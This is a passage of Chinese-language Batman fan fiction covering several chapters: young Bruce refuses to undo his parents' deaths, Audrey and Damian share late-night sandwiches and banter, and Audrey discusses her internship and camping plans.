“他们是你长大后的朋友和家人。”阿尔弗雷德说。“以及长大后的你。” 年轻的布鲁斯站了出来：“你好，布鲁斯。” “我长大后是这个样子吗？”小布鲁斯露出有点嫌弃的表情。“阿福怎么会允许你穿成这样？你上次洗澡是什么时候？” 年轻的布鲁斯被噎了一下，选择忽略自己的童言无忌。他斟酌着该怎么对小布鲁斯讲现在的情景，却被红衣人抢了先。 “长大后的你有一个机会可以将父母带回来。他们没有在那个雨夜因为中枪而死亡，将会一直陪着你长大。”红衣人说。 “真的吗？”小布鲁斯不敢置信地张大了嘴。 “真的。你再也不需要在夜晚背着阿福偷偷地哭了。因为有父母在身边，你会是哥谭最快乐幸福的小王子。” 小布鲁斯听得痴了，但很快问道：“你想要什么？钱吗？” “金钱对我并无意义。我只是想帮未来的你做出最合适的决定。”红衣人说。 “妈妈说过，天下没有免费的午餐。”小布鲁斯皱起鼻子。“如果爸爸妈妈能回来，一定意味着我需要付出什么。” “你不需要付出什么。你只是会在长大之后从事某个你喜欢的职业，而不会再成为蝙蝠侠。”红衣人说。 “蝙蝠侠？我？可我最怕蝙蝠了。”小布鲁斯说。他曾经跌入过庄园后面的深洞里，虽然很快被阿福找到，但还是被里面的蝙蝠群吓得发了几天的高烧。 “我知道。”红衣人说。“那就别变成它。为什么要逼自己成为恐惧？你还有别的路可以走，布鲁斯。” “我实在听不下去了。”迪克狠狠瞪了一眼红衣人，越过他冲到最前面，看着小布鲁斯。“我希望你能有平静和简单的生活，相信我，我真的这么希望。但是成为蝙蝠侠是你未来做出的选择，是你认定的责任和使命。我请求你不要放弃那条路，不是因为改变过去总会带来糟糕的后果，不是因为哥谭的无数人需要你，而是因为如果你放弃了，未来的你会因此而恨你自己。” “蝙蝠侠是做什么的？”小布鲁斯认真地问。 “他是一个英雄。我不会骗你，如果你做了蝙蝠侠，你会受伤、会难过，但你也会帮助很多人。非常多的人。”迪克说。 小布鲁斯看向阿尔弗雷德：“真的吗？” 阿尔弗雷德点点头：“是真的，你做得非常棒，可也非常辛苦。” “但是我帮了很多人？我让哥谭变得更好了？”他的视线投向奥德莉和达米安。 “是的。”奥德莉说。“你让那些曾经肆无忌惮的罪犯开始害怕，你成为了那个让他们闻风丧胆的名字。即便无法救下所有人，你依然拼尽全力。” 达米安补充道：“你还鼓舞了很多人。那些原本走在边缘的人，因为你的存在而看到了希望和未来。” “那是不是意味着……不再有其他孩子像我一样，失去父母了？”小布鲁斯想了一会儿，最后问道。他不想让别人再经历他所经历的一切。 阿尔弗雷德深知自己的回答将带来怎样的影响，但他无法否定蝙蝠侠毕生的努力。除了年轻的布鲁斯，没人注意到他那一瞬间的哽咽。他缓缓地说：“没错，你做到了。” 小布鲁斯咬着嘴唇，拳头在被子上悄然握紧。他下定了决心，看着年轻的布鲁斯，坚定地说：“请不要改变我们的未来。” 他甚至没有察觉自己正在流眼泪。 投影嗖地消失了。隔着铁皮面具，几人看不到红衣人的脸，但从他忽然变得粗重的呼吸来看，他一定气得脸色铁青。 “或者你把蝙蝠侠也投影过来，让他劝一劝年轻的布鲁斯？”奥德莉偷偷把眼泪擦干，若无其事地对红衣人挑衅道。 第62章 奥德莉觉得自己有点像大反派，不过痛打落水狗的感觉太快乐了。君子报仇…… 奥德莉觉得自己有点像大反派,不过痛打落水狗的感觉太快乐了。君子报仇十年不晚，可是在离开这里后他们会忘了这一切，她不能错过机会。 她正想再说几句,最好是能把红衣人气得心脏病发作,但达米安将手轻轻放在她的肩上,提醒她现在还不是彻底翻脸的时候。 好吧，我再忍忍。奥德莉索性不去看红衣人，转向布鲁斯——就算离开后不会记得,她也想多看几眼。这可是限定版本！ “你也没见过这样的布鲁斯吧。”奥德莉对达米安小声说。“这时候你还没出生。” “我见到父亲时，他已经做了很多年的蝙蝠侠了。”达米安也有点怅然。“这个布鲁斯一定打不过我。” “你怎么能肯定？我觉得他能赢。”奥德莉被气成河豚。虽然她心里觉得达米安的结论可能是对的，但她绝不会承认。 “你吹捧偶像也要讲究基本法啊。”达米安抗议。“平时和蝙蝠侠对战我都不会落下风的，何况是年轻的布鲁斯。” “我只看证据。”奥德莉冷酷地说。“除非我亲眼看到你赢了他,否则一切皆有可能。” 达米安无言以对。他总不能不顾场合地在这里和布鲁斯来一场决斗吧。 “八岁的你真是个酷小孩。”迪克对布鲁斯说,努力活跃仍有点低落的气氛。“也真是少爷做派。难怪你长大后会在快餐店用刀叉吃汉堡。” “他这么做过吗？”奥德莉大为惊奇，竖起耳朵期待迪克多讲点趣闻。 迪克接收到奥德莉的信号,他鬼鬼祟祟地看了阿尔弗雷德一眼，然后说：“布鲁斯小时候不喜欢吃阿福做的三明治，但是他不想听阿福唠叨他,于是把三明治冲进了马桶。” “天啊,你怎么知道的？如果是未来的我告诉你的，我应该也告诉过你一定要保密。”布鲁斯惊慌失措。 “少爷，您不必担心，这是我告诉他的。”阿尔弗雷德淡定地说。 “什么？”布鲁斯瞪大双眼。 “您不会一直以为我不知道吧？我可是花了很长的时间去疏通厕所呢。”阿尔弗雷德抱怨着，但那种语气所有的养猫人都能听懂,分明是假意吐槽猫经常调皮捣蛋,实则是在炫耀自己家的猫最聪明可爱。 “管家先生做的三明治那么好吃，太可惜了。”奥德莉想起阿尔弗雷德的厨艺,深觉痛心。“没想到蝙蝠侠小时候也会挑食。” “不，我从不挑食。只是……阿福的厨艺不是从一开始就那么好的。”布鲁斯语重心长地说。“他是英国人。” 好吧，这个理由很充分。奥德莉秒懂。 迪克又讲了几件小布鲁斯的故事，然后他看着布鲁斯，用开玩笑的语气说出真心话：“有那么一会儿，我真担心他会哭着求你把父母带回来。” 布鲁斯有点调皮地笑了，蓝眼睛亮得惊人：“我已经做出决定了。就算他求我，我也不会改变主意的。” 蝙蝠侠的诞生不是始于他披上披风，而是始于他拒绝了救赎自己的机会，选择去拯救他人。 早在披上披风之前，布鲁斯已经是蝙蝠侠了。 相较几人的其乐融融，红衣人则是愁云惨淡。他打断了几人的闲聊，几乎是绝望地恳求布鲁斯：“如果你是为了哥谭而想要成为蝙蝠侠，我可以帮你用其它的方式达到这个目的。” 布鲁斯摇摇头。不是没有人尝试过其它的路，慈善、医疗、制度改革……他的父亲托马斯也曾相信自己可以拯救哥谭，但他失败了。 哥谭需要一个威慑。只有恐惧能阻止那些罪犯。 他没有与红衣人争论，只是问：“你为什么不希望蝙蝠侠诞生？” 红衣人颓然地说：“因为他会带来毁灭。” “对人类？”布鲁斯一惊，急忙追问。 “不，对血言教团。” “这是诽谤！”奥德莉又一次被气成河豚。“你有什么证据？” “我能在时间线上看到裁定者的一生。”红衣人平静地说。 “那一定是因为你们做了坏事。难道蝙蝠侠会冤枉你们吗？”奥德莉转进如风。 红衣人气得不再理会奥德莉，又去恳求布鲁斯。布鲁斯思考了一会儿，说：“我相信蝙蝠侠不会无缘无故地找你们的麻烦。既然你能看到我的未来，便也能知道蝙蝠侠那么做的原因，你为什么不想办法避免那个原因呢？” “我被赋予的力量是有限的，我看不到裁定者与其他人的来往。”红衣人解释道。“我甚至不知道他是从何处获知了我们的存在。” “我明白了。”布鲁斯说。“但我不会因此改变主意。现在开始裁定吧。” 奥德莉从梦中惊醒了。 她猛地坐起来，把正团成一个球打盹的布莱克吓得原地起飞。布莱克小跑着去开灯，先环视一圈确定没有敌袭，然后跳到奥德莉的腿上：“你怎么了？做噩梦了吗？” 奥德莉抓起床头的杯子一饮而尽，努力回忆但一无所获：“似乎是做了个梦，但是内容想不起来了。” 布莱克观察了一会儿，确认奥德莉真的没事，这才又团起来，还招呼奥德莉帮自己看看：“我现在是个标准的球形吗？” 奥德莉认真端详，帮布莱克调整姿势，然后满意地点点头：“现在非常完美。” 布莱克得意地给奥德莉展示自己的艺术成果：“你看，如果我闭上眼睛，那我就是一个完美的黑色球体。”它又睁开眼，黑色圆球上立刻出现两个亮晶晶的绿色圆圈。“如果我睁开眼睛，我就是一个有眼睛的球体。” 奥德莉不太理解布莱克的乐在其中，但是她觉得这样的布莱克可爱得要命，一人一猫玩起了“一闪一闪亮晶晶”的幼稚游戏。 “你知道我的灵感来源是什么吗？”布莱克玩够了，捧过来一盒糖，打开给奥德莉看。“你看这个巧克力球，像不像我。” 那颗黑色的巧克力球上有两块绿色的开心果，乍一看和布莱克刚才的造型确实有点像。奥德莉把它拍下来发在Instagram上，配文说：“救命，我被变成巧克力了。[黑猫表情]” 达米安从梦中惊醒了。 他想不起来梦里奥德莉做了什么，只隐约觉得她好像在打什么坏主意，带着“小人报仇，从早到晚”的劲头。 达米安从床边柜子的抽屉里拿出今晚从奥德莉宿舍带回的字条，看了一会儿，手机忽然响起，是他为奥德莉的Ins发布专门设的提示音。 达米安盯着照片和配文看了足足三十秒，脑洞越开越大。 “你怎么还没睡？”达米安对高速运转的大脑紧急叫停，给奥德莉发短信。 奥德莉回复：“忽然醒了。你还没睡吗？” 达米安：“我也是忽然醒了。你饿吗？” 被这么一问，奥德莉发现自己竟然有点饿：“有一点。真奇怪，我晚饭明明吃了很多。” 达米安：“饿了的话，你可以把巧克力吃掉。” 奥德莉：“你看到我发的照片啦？可爱吗？” 达米安：“可爱。” 奥德莉：“可爱的话怎么能吃掉呢？你这个邪恶黑煤球。” 达米安无奈，奥德莉到底什么时候能消气啊。他问：“那你想吃什么？” 奥德莉：“莫名地想吃三明治。希望明早食堂能提供。” 达米安一边向小厨房走，一边打字：“你过来，我给你做。我做的肯定比食堂的好吃。” 奥德莉犹豫：“这么晚，太麻烦了。” 达米安：“我也饿了，已经在厨房开始做了。你可以等我发照片给你看，我会做两份，然后帮你吃掉。” 奥德莉明知达米安是在逗自己，还是上钩了：“我马上来。” 发完短信，奥德莉瞥见布莱克又把自己团成了一个球，忍不住摸了几下，然后才以达米安为坐标传送。 “马上做好。”达米安正在小厨房做饭，很自然地为从天而降的奥德莉让出位置，煎培根的动作毫无停滞。 奥德莉看到达米安摆在桌上的食材，震惊不已。鸡胸肉、培根、番茄片、生菜、芝士片以及几种酱汁：“我以为你会只是做个简单的芝士三明治。对于夜宵来说，这也太豪华了。” “只有你们美国人才会吃那个。”达米安吐槽。 “我觉得很好吃啊。”奥德莉嘀咕。“酥脆的面包片和被融化的芝士，做夜宵绰绰有余了。” “我同意。我要一个芝士三明治，双倍芝士。”披着晨袍的布鲁斯忽然出现，开口点餐。 “布鲁斯。”奥德莉被吓了一跳。她完全没听见有人过来。 “奥德莉。”布鲁斯热情地打招呼。“你也是被香味吸引过来的吗？” 韦恩庄园这么大，布鲁斯是怎么在楼上的卧室闻到一楼小厨房里的香味的？奥德莉还没来得及回答，忽然感觉有点眩晕，然后她记起了自己的梦—— “我……”奥德莉结结巴巴，几乎咬到舌头。 第63章 布鲁斯是被警报叫醒的——在得知奥德莉的传送能力那一天，布鲁斯便更新…… 布鲁斯是被警报叫醒的——在得知奥德莉的传送能力那一天,布鲁斯便更新了庄园的安保系统。 关了警报通知，布鲁斯下楼朝小厨房的方向走去。隔着一段距离，他听到了达米安和奥德莉的轻声交谈。 他犹豫地停下脚步,几乎要转身离开,但看着小厨房门口透出的灯光,闻到食物的香气，他忽然又改变了主意。 只是奥德莉的反应非常奇怪，她在打了个招呼之后就陷入了语无伦次之中。 奥德莉不知道自己为什么会忽然恢复记忆。红衣人说他们不会记得图书馆里发生的一切,达米安的表现也印证了这一点。 难道因为我并不是原定的被邀请者之一，所以规则对我失效了？奥德莉心里一边瞎猜，一边尖叫。 她知道自己的行为异常太明显了，不需要是哥谭第一侦探也能看出来有什么不对劲。她绞尽脑汁,想找个理由赶紧离开,冷静一下再来面对现实。 达米安做好了带有丰富馅料的厚实三明治，为了方便食用,他用油纸将它包好再从中切开，放在瓷盘里递给奥德莉。 “谢谢。”奥德莉机械地接过盘子，看着达米安开始做布鲁斯点名要求的双倍芝士三明治。 布鲁斯以为自己的话让奥德莉尴尬了,他赶紧补上一句：“我只是开个玩笑。欢迎你随时来。” 奥德莉又说了声“谢谢”,然后抓起盘子：“我忽然有点事，我先走了。晚安。”说完她就消失了。 布鲁斯和达米安对视一眼，说：“她不太对劲。发生了什么吗？” “发生了‘你’。”达米安把三明治递给布鲁斯，然后才去做自己的那一份。“你出现之前她的言行很正常。” “我不是那种吓人或讨厌的家长吧。”布鲁斯郁闷了。 “不，倒更像是她看到你之后忽然想到了什么。”达米安虽然在密切监控培根的火候,但也完全没错过奥德莉的表情。 “她终于肯让大脑运转起来,看出我是蝙蝠侠了？”布鲁斯叹气。“我以为我在她面前表现得已经很明显了。” “她根本不想面对事实，我们就顺着她的意思吧。”达米安说。 “那你觉得她什么时候才能不再自欺欺人？我是蝙蝠侠的事情有那么难以接受吗？”布鲁斯忧郁地托着腮,明明早已不是少年了，但神态仍会让哥谭的男女老少看了心生爱怜。 当然，达米安除外。他能忍住不去嘲讽布鲁斯的故作姿态，但仅此而已了。 “她大概能装傻到永远。你知道原因。”达米安说。奥德莉自认为在蝙蝠侠面前是行为低调的、谨言慎行的，可惜事实并非如此，她那颗磕cp的心堪称偷偷藏不住。 “可我不介意啊，蝙蝠侠也不介意。”布鲁斯是真的无所谓。哥谭人中磕蝙布cp的至少占一半，其中少不了他的推波助澜。 “你这种精分的说话方式就是她逃避现实的原因之一。”达米安终于没忍住翻了个白眼。 “至少她没忘记把三明治带走。”布鲁斯说，不知道是在安慰达米安还是在自我安慰。“说明她还没有完全被震惊打倒，还有余力去在意其它的事。” “没有人会舍得落下我做的三明治。”达米安自信地说。 回到宿舍，奥德莉看着还热乎乎的三明治，化悲愤为食欲，咬了一大口。 味道真不错——呃，现在不是想这个时候——再吃一口。 布莱克凑过去闻了闻，想发表几句批判性评论，但看奥德莉陷入沉思，便没有打扰她。 血言教团的事情必须告诉蝙蝠侠，对于这一点奥德莉毫不犹豫。血言教团太危险了，他们竟然能在不被察觉的角落篡改历史，进而改写现实。虽然他们似乎成功操作了几百次，世界看起来依旧照常运转，还没毁灭，但谁知道他们什么时候会翻车。 更何况，红衣人竟然妄图从源头上抹去蝙蝠侠的存在，是可忍孰不可忍。 等等，红衣人说蝙蝠侠会导致教团覆灭，不会就是因为她去打小报告了吧？ 奥德莉忽然有点想笑，但又一次思考起自由意志的问题。自从在性转世界读到蝙蝠侠和达米安娜留给她的信，她时不时就会想，未来的事情是否注定无法改变？ 红衣人试图改变未来，想要避免教团覆灭的命运，但他的干预反而阴差阳错地推动了他预知的未来成真。 “你在烦恼什么呀？”布莱克担忧地用爪子轻拍奥德莉的手臂。 “在思考一个无解的哲学问题。”奥德莉说。收回越飘越远的思维，她强迫自己把注意力放在眼前的局面上。 “你能帮我删掉特定的记忆吗？”看看有两把刷子的布莱克，奥德莉忽然有了灵感。 “啊？我不会啊。”布莱克瞪大眼睛。“不过我在网上看到过，有的人被砸了脑袋之后就失忆了。但他们好像没办法控制失忆的范围。你想试试吗？” “不用了……”奥德莉吐血。布莱克确实有两把刷子，但没有毛。 她不想承认自己知道蝙蝠侠的身份了。或许她可以撒一个无伤大雅的谎，就说红衣人邀请蝙蝠侠去裁定历史，但蝙蝠侠没有顺从红衣人的意图，而是让现实维持不变。 为了避免说多错多，奥德莉打算省略掉在场的其它人，只说蝙蝠侠和她在场。 她毫不怀疑蝙蝠侠会发现她有所隐瞒，但她决心装傻到底。 想好了对策，奥德莉又去咬三明治，却发现不知不觉间只剩下一小口了。 除了第一口和最后一口，满腹心思的奥德莉完全没尝出滋味。她郁闷地洗了盘子，给达米安发信息：“明天下午你有空吗？我下班去找你？” 达米安：“好啊。想吃鲜虾滑蛋三明治吗？” 奥德莉被达米安善解人意的提议打动，立刻回复：“想吃。明天B有空吗？”在信息里，她很小心地没有打出全称。 达米安：“我问问。如果有空的话，帮你约在韦恩庄园见面？” 奥德莉：“谢谢。” 和奥德莉发完信息，达米安对还在慢条斯理地吃三明治的布鲁斯说：“奥德莉说下班后她想和蝙蝠侠见面。你有空吧？” “有。”布鲁斯本以为奥德莉会纠结几天，没想到她这么快就重整旗鼓了。他立刻有种不好的预感——如果她真的接受现实了，肯定不会这么快调整好，也就是说，她又想出了新的逃避方法。 达米安也有同样不好的预感。想到未来可能发生的场景，他有点头疼。 下班之后，奥德莉如约来访韦恩庄园，把打了一天的腹稿一股脑地讲给蝙蝠侠，还不忘添油加醋地说了许多红衣人的坏话。 蝙蝠侠对这件事很重视，问了一些细节，奥德莉尽力回答了。蝙蝠侠听出其中有一些不太连贯的地方，猜到是她在回避房间里的大象而导致的，没有细究。 谈完正事，达米安的三明治新鲜出炉，三人面前各有一份。 “呀，我忘了把盘子带回来。”奥德莉来得匆忙，完全忘了那个。 “没关系。”达米安不在意，为她介绍自己的调味方式。“我放了一点黑松露提味，但不会盖过虾的鲜味。” 蝙蝠侠说：“闻起来不错。”他很自然地作势要摘掉面罩。 奥德莉火烧屁股一样跳起来：“我还有事，我带走吃。” 她端着盘子消失了，完全来不及思考蝙蝠侠吃东西为什么要摘掉面罩。 “再这样下去，我得订购一批新餐具。”阿尔弗雷德出现在小厨房，不赞同地瞪着故意逗奥德莉的蝙蝠侠。 布鲁斯已经摘下了面罩，无奈地说：“我以为她的演技会更好一些的。” “奥德莉小姐和您不一样，您拥有丰富的表演经验。”阿尔弗雷德说。“您为什么执着于让她承认您的真实身份？您不是对着真言套索说自己只是蝙蝠侠吗？” 布鲁斯被怼，郁闷地准备吃三明治消愁，面前的盘子却被达米安迅速地拿走了：“这是给蝙蝠侠准备的。” 布鲁斯：“……” 瞪着达米安离开的背影，布鲁斯对阿尔弗雷德抱怨：“对着真言套索说出身份那件事情，为什么大家都认为是我有人格认知问题？难道不是超人的问题更大吗？” 阿尔弗雷德同情地给布鲁斯拿了一盘饼干，说：“恕我心理学知识欠缺，需要您的详细解释。” “超人对自己的两个身份分割得那么清楚，简直是人格分裂的典型。而我只说自己是蝙蝠侠，是因为我认可布鲁斯韦恩是我的一部分，就好像我也认可火柴马龙是我的一部分。” 这番话有理有据，阿尔弗雷德表示自己完全被说服了，然后忧愁地说：“那个火柴马龙也是您的一部分，太可怕了。” “我是说我扮演的火柴马龙。”布鲁斯闹脾气似地大嚼饼干。 “如果您觉得饼干不好吃，明天我可以做仰望星空派。”阿尔弗雷德体贴地说。 布鲁斯像是被揪住了后脖颈的大猫，一下子僵住了，然后细嚼慢咽起来。 “她不是因为对布鲁斯韦恩的否定才那么做的。在她的认知里，布鲁斯是一个很好的人，对哥谭有无可比拟的贡献。”阿尔弗雷德望着布鲁斯，温和地说。“你明白这一点，对吧？” “我知道。”布鲁斯闷闷地说。 给完甜枣，阿尔弗雷德又有大棒相赠：“奥德莉小姐会自己想通的，她只是需要时间。在那之前，请不要再逗她了。” “好吧。” 第64章 已知：蝙蝠侠可以戴着面罩吃东西。他在发布会上这么做过。又知：蝙…… 已知：蝙蝠侠可以戴着面罩吃东西。他在发布会上这么做过。 又知：蝙蝠侠的动作可以快到常人的视线难以捕捉的程度,他刚才摘面罩的动作却慢吞吞的。 结论：蝙蝠侠在和奥德莉闹着玩，而她的落荒而逃是一种不打自招，说明她知道蝙蝠侠是谁,但是拒绝去面对。 不过也算是表明立场了吧。奥德莉尽量乐观地想。但是—— 被蝙*蝠侠欺负了,她应该找谁告状？ 奥德莉脑袋上的灯泡亮起。 “你知道蝙蝠怎么叫吗？”奥德莉问布莱克。 “蝙蝠会叫吗？”布莱克的屁股对着奥德莉,正在专心检阅盘子里的三明治，在听到问题后没有转身，而是困惑地向后仰头,倒着看奥德莉，绿色的圆眼睛眨呀眨。 奥德莉给出答案：“阿福阿福阿福。” “什么意思？”布莱克茫然地保持仰头的姿势。 “只是个冷笑话。”奥德莉坏心眼地轻戳布莱克的耳朵，想看它失去平衡掉到自己怀里，但布莱克稳如泰山,她试了几次只好放弃。 布莱克见她不打算进一步解释,也不追问，又趴回盘子旁边去了,催促奥德莉：“你怎么不趁热吃呀？” “我在思考。”奥德莉说。 “你不能一边吃一边思考吗？”布莱克很担忧地说。“你今天没吃晚饭就去找达米安了。” 为了不辜负这只操心小猫咪的关心，奥德莉只好先吃饭。 她想不到阿尔弗雷德已经帮她主持公道了，思来想去,觉得蝙蝠侠和布鲁斯都那么辛苦,如果被管家制裁，无论是被口头批评还是扣掉餐后甜点，她都有点于心不忍。 算了算了，偶像行为，粉丝买单。 吃完三明治,奥德莉给达米安发信息：“今天的三明治也很好吃。谢谢。” 达米安秒回：“明天想吃炸猪排三明治吗？” 奥德莉艰难地违心回复：“不想。” 被殃及池鱼的达米安“啧”了一声,但不气馁，因为奥德莉的反应是意料之内。他诱惑道：“我还会做其它很多种美食。” 奥德莉女郎心似铁：“我会点很多种外卖。” 达米安：“外卖不会记得你的口味偏好。” 奥德莉：“绝佳商机！建议韦恩集团快点开发一款APP,能记住用户偏好并且自动备注的那种。” 达米安：“你知道的，我从来没参与过集团运营。虽然我是布鲁斯唯一的亲生儿子，但养子们是他亲自选择的家人，我却只是因为血缘才被带回来的。前任总裁卢修斯卸任时，根本没有考虑过让我作为接任者。” 卢修斯福克斯，韦恩集团的前任总裁，多年来一直在帮助布鲁斯开发蝙蝠侠的高科技装备，堪称蝙蝠侠背后的第二个男人。 达米安对卢修斯的描述属实，但有意省略了两条背景信息： 一、卢修斯卸任时，提姆十五岁，而达米安才十岁。哪怕韦恩集团的股东们早已习惯布鲁斯的荒唐任性，任命一个十岁的孩子掌管公司终究还是太离经叛道了。 而且达米安小时候个头比较矮，又气势汹汹，看起来像是个随时会拔刀的小刺猬，无论怎么看都和董事会的形象格格不入。 二、达米安心心念念的只有蝙蝠披风，毫不客气地要求提姆去公司为自己打工。他的原话是：“让德雷克去签文件吧，他做罗宾已经太老了。” 提姆没有和达米安争口舌之利，而是耐心地等到达米安十五岁生日那天，微笑地递给他一份文件和一支笔：“你也该退居二线了。” 那时两人关系早已缓和，达米安没有因为提姆迟来的的小小报复而拔刀，只是“啧”了一声。 虽然奥德莉不知道前因后果，但她能猜到其中必有隐情。然而，她看着达米安的信息，意识到他不自觉地暴露了潜意识。 也许在刚回到韦恩家的时候，他的傲慢和锋利下藏着自己都未曾察觉的焦虑和不安。他担心布鲁斯对他的关心只是因为二者之间的血缘，更担心自己无法成为被蝙蝠侠真正认可的罗宾。 但他现在能把它当成装可怜的的谈资，显然一切已经过去了。 奥德莉有点心软，但嘴硬：“这一招你用过了。接下来你是不是要说自己是灰姑娘？” 达米安理直气壮：“灰姑娘只有两个姐姐，而我有三个哥哥。另外，我的卧室确实连着阁楼。” 达米安的豪华套间不但有卧室、起居室和卫生间，还有一个小阁楼，跟灰姑娘住的阁楼完全不是一回事儿。奥德莉知道这一点，因为超人萨摩耶带着她和达米安在房间里飞了许多圈，每个角落都没错过。 奥德莉：“有道理。你们还有一个共同之处，灰姑娘在十二点钟声前必须离开舞会，你也是。”只不过离开的原因是去夜巡。 达米安：“对，如果我不按时离开的话，会被老板批评。她还以找家长来威胁我。” 奥德莉：“听起来你的老板很凶嘛。” 达米安：“我不允许你这么说她。” 奥德莉思考了一秒，反应过来了：“哦，你的意思是我确实很凶！” 达米安委屈：“这是过度解读。我不是在美国长大的，英语不是我的母语，你不能故意曲解我的话。” 奥德莉无语。能翻译羊皮卷，但英语是外语所以掌握得不熟练，达米安的语言能力真是飘忽不定。 布莱克围观奥德莉打字聊天一小时，它打了一百八十个哈欠，最后问：“你们为什么不打电话？” 奥德莉被问住了。 面对面交谈或是在手机两端打字聊天，好像都是朋友之间会做的事情，都可以被归类为“普通社交”。 但如果是打电话，莫名地就不太一样了。尤其是那种漫无目的、没有重点，只是为了闲聊的通话——长时间地煲电话粥，说一些毫无建设性的话题，在谈话的间隙里听着彼此的沉默和呼吸，偶尔什么都不说却又不挂断，这种听起来就很……“非普通社交”。 对上布莱克求知若渴的眼神，奥德莉揉了揉它的头，说：“人类的事情少打听。再问就把你吃掉。” 布莱克被惹毛了，毛茸茸地躺下露出肚皮：“喵呜。” 达米安在收到奥德莉发的“快去上工”之后，回了一句“晚安”。离夜巡的时间还有一会儿，他翻到聊天记录的最上面，又读了一遍，然后轻轻笑起来。 在奥德莉刚来哥谭的时候，他不知道自己的罗宾身份已经暴露，以达米安的身份去找她，两人偶尔也会发几条信息。那时奥德莉的语气礼貌又疏离，而不像现在，毫不掩饰情绪，偶尔还会对他凶巴巴。 达米安从抽屉里掏出一个画本。他偶尔会画少女漫画，这一本是他在去年夏天回哥谭之后开始画的。那时他忘记了维多利亚时期的经历，但笔下的角色却无意识地融入了奥德莉的形象。 他翻到中间的空白页，快速地勾勒出几格分镜，在写台词时却忽然顿住了——不是因为没有灵感，而是看着主角熟悉的相貌特征，他不敢把她的台词写下。 那是他希望奥德莉会说的话。 笔尖在台词框中间犹豫了一会儿，最终他还是什么也没有写，而是轻轻合上画本，把它放回原处。 夜巡时，蝙蝠侠主动求和：“明天我能得到一个三明治吗？” 罗宾心平气和地问：“你知道你只是被顺带的那个吧？” 蝙蝠侠改口：“明天我能被顺带得到一个三明治吗？” 罗宾说：“不能。”他知道蝙蝠侠真正想问的是什么，在对方继续拐弯抹角地询问之前，又补充道：“我们之间没事了。” 蝙蝠侠犹豫了一下，还是没问“我们”是否包括自己。他转而说起正事：“见到红衣人的那天晚上，她是从梦中惊醒的。你也是吗？” “你觉得我也被红衣人从梦里带走了？有可能，但是我对此毫无记忆。” 蝙蝠侠将新获得的信息告知罗宾：“便士一和夜翼也在相近的时间惊醒了，同样没有关于梦的记忆。” “你觉得他们也在场，但她有意隐瞒了这些？” “还有一件事。那晚我是因为警报而醒来的，并非从梦中惊醒。” 罗宾立刻说：“她不会在这种大事上撒谎，她肯定在梦里见到了你。” “我知道。我只是觉得她见到的不是现在的我。她并非撒谎，只是认为这些信息无关紧要，所以略去不提。” 罗宾明白了：“你无法容忍自己有不知道的信息，但你又答应便士一会给她时间。不过，如果你告诉她那些信息很重要的话，她就算再不情愿，也会告诉你的。” “但我已经推理出了很多信息，我不确定其它被略去的信息是否重要。”他不想、也不会滥用奥德莉对蝙蝠侠的无限信任。 最终，蝙蝠侠做出了决定：“她已经把教派的名字告诉我们了，我们先从这里入手吧。” 第65章 周四，哥谭又一次下起绵绵细雨。奥德莉已经习惯了这种天气，并认为在哥…… 周四,哥谭又一次下起绵绵细雨。奥德莉已经习惯了这种天气，并认为在哥谭做天气预报这件事她也完全可以胜任，因为只需要对每一天预报有雨,准确率便能高达百分之九十五。 至于另外百分之五,哥谭人看到太阳会很惊喜的,哪里还会去抱怨预报有误？ 奥德莉吃完早饭，照例去和维斯勒医生开会。维斯勒医生告诉她：“小丑已经被转为我的病人了。不过你不必去找他谈话。他现在无法与别人沟通，只是偶尔呓语几句。” 奥德莉没想到这么快就办好手续了,忙问：“他自言自语的频率高吗？” “一天都不一定有一次。我在他的病房里装了录音设备，会自动把他说话的内容单独提取出来，这样我就不用去听完整的录音了。” 科技改变生活。若是在二十年前，维斯勒医生恐怕只能通过倍速播放录音的方式,从大量的无用录音中筛查那丁点可能有价值的内容。 “希望他永远不要康复。”奥德莉宁可小丑是一台无法运行的转播器,也不希望他进化到能够熟练使用外神的力量。 “如果我退休时他还是这样，我会确保把他交接到合适的医生手中的。或者把他送到密大校医院。”维斯勒医生向奥德莉说明了自己的安排,让她不必担心。“你听说了吧，密大和正义联盟合作了。” “听说了。我还以为您一向对和超级英雄扯上关系没什么兴趣。”奥德莉有些惊讶于维斯勒医生对此事表现出的认可态度。 “小丑病房的录音设备是蝙蝠侠提供的。他们的技术很好用，识别精准。”维斯勒医生说,一如既往的实用主义。 通常来说,军用科技走在民用科技前面，而正义联盟还有氪星科技加持，技术远超五角大楼。 聊完病人，维斯勒医生询问奥德莉的实习感受：“下周五是你实习的最后一天。这两个月有收获吗？希望不会让你觉得心理学专业太无聊。” “我的收获很大，也依然觉得心理学非常有趣。”奥德莉诚恳地说。“不过我还是更想做一名传统风格的调查员。” “我明白。世界那么大,你想去看看。”维斯勒医生很理解年轻人想要四处闯荡的心态。“我也曾经有过类似的念头,还参加过一次在荒郊野岭的考古实习。但实习的第一天我就意识到，我不想在任何没有抽水马桶和微波炉的地方呆着。” “我倒没想过这个问题。”奥德莉是典型的在大都市里长大的年轻人,习惯了现代基础设施带来的便利。她甚至从没有露营过，更别说真正意义上的野外生存了。“我没什么户外经验。我父母一直很忙，我们偶尔的度假都是去其他城市观光。我知道有的同学家会在周末开着房车或只是带着帐篷去郊区，钓鱼或烧烤。” “说实话，我不觉得你错过了什么乐趣。我宁可呆在现代化的建筑里和病人聊天，也不想出外勤。不过这只是我的个人喜好。”维斯勒医生很直白地说，然后又提醒道：“调查员的工作和白领的出差可不一样，住宿条件往往难以预期，不能保证星级酒店的居住条件。” “我想我能忍一忍恶劣的居住环境。”奥德莉犹豫地说。 “虽然现在的户外装备大为改进，但我建议你先体验一下风餐露宿再做决定。偶尔，在传送不能用而必须在野外过夜的情况下，你需要具备一些野外生存技能。” “像贝爷的荒野求生那种吗？衣不蔽体地吃虫子？”奥德莉惊恐地问。 “倒不至于那么夸张，只是可能需要自己搭建帐篷、生火、寻找食物……”维斯勒医生话说到一半，注意到奥德莉脸色已经惨白，赶紧停了下来。她的本意只是提醒奥德莉可能面临的困难和需要做的准备，并不是想把学生吓得打消念头。 奥德莉定了定神，说：“谢谢您的提醒。看来我要学的还真不少。” 下班后，奥德莉认真研究起如何提高野外生存能力。第一步，先将户外装备加入购物车。第二步，搜索哥谭附近的露营地点。 布莱克看着她的购物清单越列越长，担忧道：“你要自己去吗？会不会太危险了？” “我只是先去附近的营地试试，如果感觉受不了，我可以随时传送回来嘛。” “那万一有蛇咬你，你昏迷了怎么办？或者有老虎攻击你，你来不及传送怎么办？”布莱克非常操心地列举着可能的场景，越说自己越害怕。 奥德莉又感动，又无奈：“你看这家营地的照片，这种小树林里怎么可能有老虎？” 